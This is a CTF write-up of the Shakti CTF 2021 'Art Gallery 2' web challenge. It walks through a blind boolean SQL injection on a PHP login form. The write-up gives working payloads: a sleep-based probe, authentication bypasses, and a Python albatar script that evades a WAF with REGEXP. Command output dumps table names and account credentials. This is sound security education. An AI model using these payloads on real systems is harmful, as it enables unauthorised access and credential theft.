Shakti CTF 2021 - Art Gallery 2 [web]

Exploiting a boolean SQLi without WHERE or the characters & and = using REGEXP and the albatar framework.

We are presented with a simple login page: login page

No hints given in the source code:

<!DOCTYPE html>
<html>
<head>
  <title>Login</title>
  <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
  <link rel='stylesheet' href='style.css'>
</head>
<body>
  <div class="login">
    <h1>Login</h1>
    <form action="auth.php" method="POST">
      <label for="username">
        <i class="fas fa-user"></i>
      </label>
      <input type="text" name="username" placeholder="username" required>
      <label for="password">
        <i class="fas fa-lock"></i>
      </label>
      <input type="password" name="password" placeholder="password" required>
      <input type="submit" value="Login">
    </form>
  </div>
</body>
</html>

Tried a couple of default creds but no luck:

HTTP/1.1 200 OK
Date: Sun, 04 Apr 2021 17:44:24 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40
Connection: close
Content-Type: text/html; charset=UTF-8

Incorrect username or password or both??

The admin username triggers a WAF (in either params):

$ curl --data-raw "username=admin&password=whatever" http://34.66.139.33/auth.php
<tr><td>ofcourse they're blocked</td></tr>

Sending the POST request to Burp scanner reveals that both params are vuln to SQLi:

$ time curl -s -o/dev/null --data-raw "username=blah'%2b(select*from(select(sleep(2)))a)%2b'&password=x" http://34.66.139.33/auth.php 

real    0m2.259s
user    0m0.004s
sys     0m0.006s

We can bypass the auth via implicit type conversion:

$ curl --data-raw "username=a'%2b'b&password=a'%2b'b" http://34.66.139.33/auth.php
welcome!!

Or by finding that test is a valid username and commenting the rest of the query:

$ curl --data-raw "username=test'#&password=whatev" http://34.66.139.33/auth.php
welcome!!

Once logged-in as test'# there is a link to a /cart.php page:

<!DOCTYPE html>
<html>
<head>
  <title>Home</title>
  <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
  <link rel='stylesheet' href='common.css'>
</head>
<body class="loggedin">
  <nav class="navtop">
    <div>
      <h1>Art Gallery</h1>
      <a href="home.php"><i class="fa fa-home" aria-hidden="true"></i>Home</a>
      <a href="logout.php"><i class="fas fa-sign-out-alt"></i>Logout</a>
    </div>
  </nav>
  <div class="content">
    <h2>Cart</h2>
    <div>
      <p>welcome back, test'# !</p>
      <table>
        <tr>
          <td>Username:</td>
          <td>test'#</td>
        </tr>
<!--        <tr>
          <td>Email:</td>
          <td></td>
        </tr>-->
      </table>    
    </div>
  </div>
</body>
</html>

But now we feel stuck so let’s go back to the SQLi.

Turns out we actually have a boolean SQLi:

But the WAF is slightly annoying and because = and & are blacklisted, I went with the REGEXP technique:

I wrote an exploit script using albatar, a framework I specifically created to exploit intricate SQL injections.

from albatar import *

PROXIES = {}#'http': 'http://127.0.0.1:8008', 'https': 'http://127.0.0.1:8008'}
HEADERS = ['User-Agent: Mozilla/5.0']

def test_state_grep(headers, body, time):
    if 'welcome!!' in body:
        return 1
    else:
        return 0 # 'Incorrect username or password or both??'

def bypass_waf(s):
    s = s.replace(' ', '/**/')
    return s

def mysql_boolean_regexp():

    def make_requester():
        return Requester_HTTP(
            proxies = PROXIES,
            headers = HEADERS,
            url = 'http://34.66.139.33/auth.php',
            body = "username=test${injection}&password=whatever",
            method = 'POST',
            response_processor = test_state_grep,
            tamper_payload = bypass_waf
        )
  
    template = "'+(select*from(select(if(((${query})regexp binary ${regexp}),'a','1')))a)#"
    return Method_regexp(make_requester, template, confirm_char=False)

sqli = MySQL_Blind(mysql_boolean_regexp())

for r in sqli.exploit():
    print(r)

Because the WAF blocks the WHERE keyword and some special chars like [ &=], we need to:

Demo:

$ python shakti.py -q "select count(concat_ws(0x3a,table_schema,table_name,column_name)) from information_schema.columns"
609

We know the tables we are interested in will be towards the last records after all the information_schema tables. We can find the offset via trial & error:

$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 605,1"
info^C
$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 606,1"
cart:accounts:id

Sweet let’s enum the other columns

$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 607,1"
cart:accounts:username
$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 608,1"
cart:accounts:password

How many users are there?

$ python shakti.py -q "select count(concat_ws(0x3a,username,password)) from cart.accounts"
2

Let’s dump it all:

$ python shakti.py -q "select concat_ws(0x3a,username,password) from cart.accounts limit 0,1"
test:test@dumbhack5
$ python shakti.py -q "select concat_ws(0x3a,username,password) from cart.accounts limit 1,1"
admin:shaktictf{7h3_w4r_0f_sql1_h4s_b3gun}

Flag was shaktictf{7h3_w4r_0f_sql1_h4s_b3gun}.

Just FYI:

$ python shakti.py -b --current-user --current-db --hostname --users --dbs
03:25:41 albatar - Starting Albatar v0.1 (https://github.com/lanjelot/albatar) at 2021-04-05 03:25 AEST
03:25:41 albatar - Executing: 'SELECT VERSION()'
5.7.33-0ubuntu0.18.04.1
03:26:15 albatar - Executing: 'SELECT CURRENT_USER()'
dbadmin@localhost
03:26:40 albatar - Executing: 'SELECT DATABASE()'
cart
03:26:48 albatar - Executing: 'SELECT @@HOSTNAME'
web-sql1
03:27:01 albatar - Executing: ('SELECT COUNT(DISTINCT(grantee)) FROM information_schema.user_privileges', 'SELECT DISTINCT(grantee) FROM information_schema.user_privileges LIMIT ${row_pos},1')
03:27:04 albatar - count: 1
'dbadmin'@'localhost'
03:27:34 albatar - Executing: ('SELECT COUNT(schema_name) FROM information_schema.schemata', 'SELECT schema_name FROM information_schema.schemata LIMIT ${row_pos},1')
03:27:38 albatar - count: 2
information_schema
cart
03:28:11 albatar - Time: 0h 2m 30s

Thanks for the CTF! :)

@lanjelot

Share this post: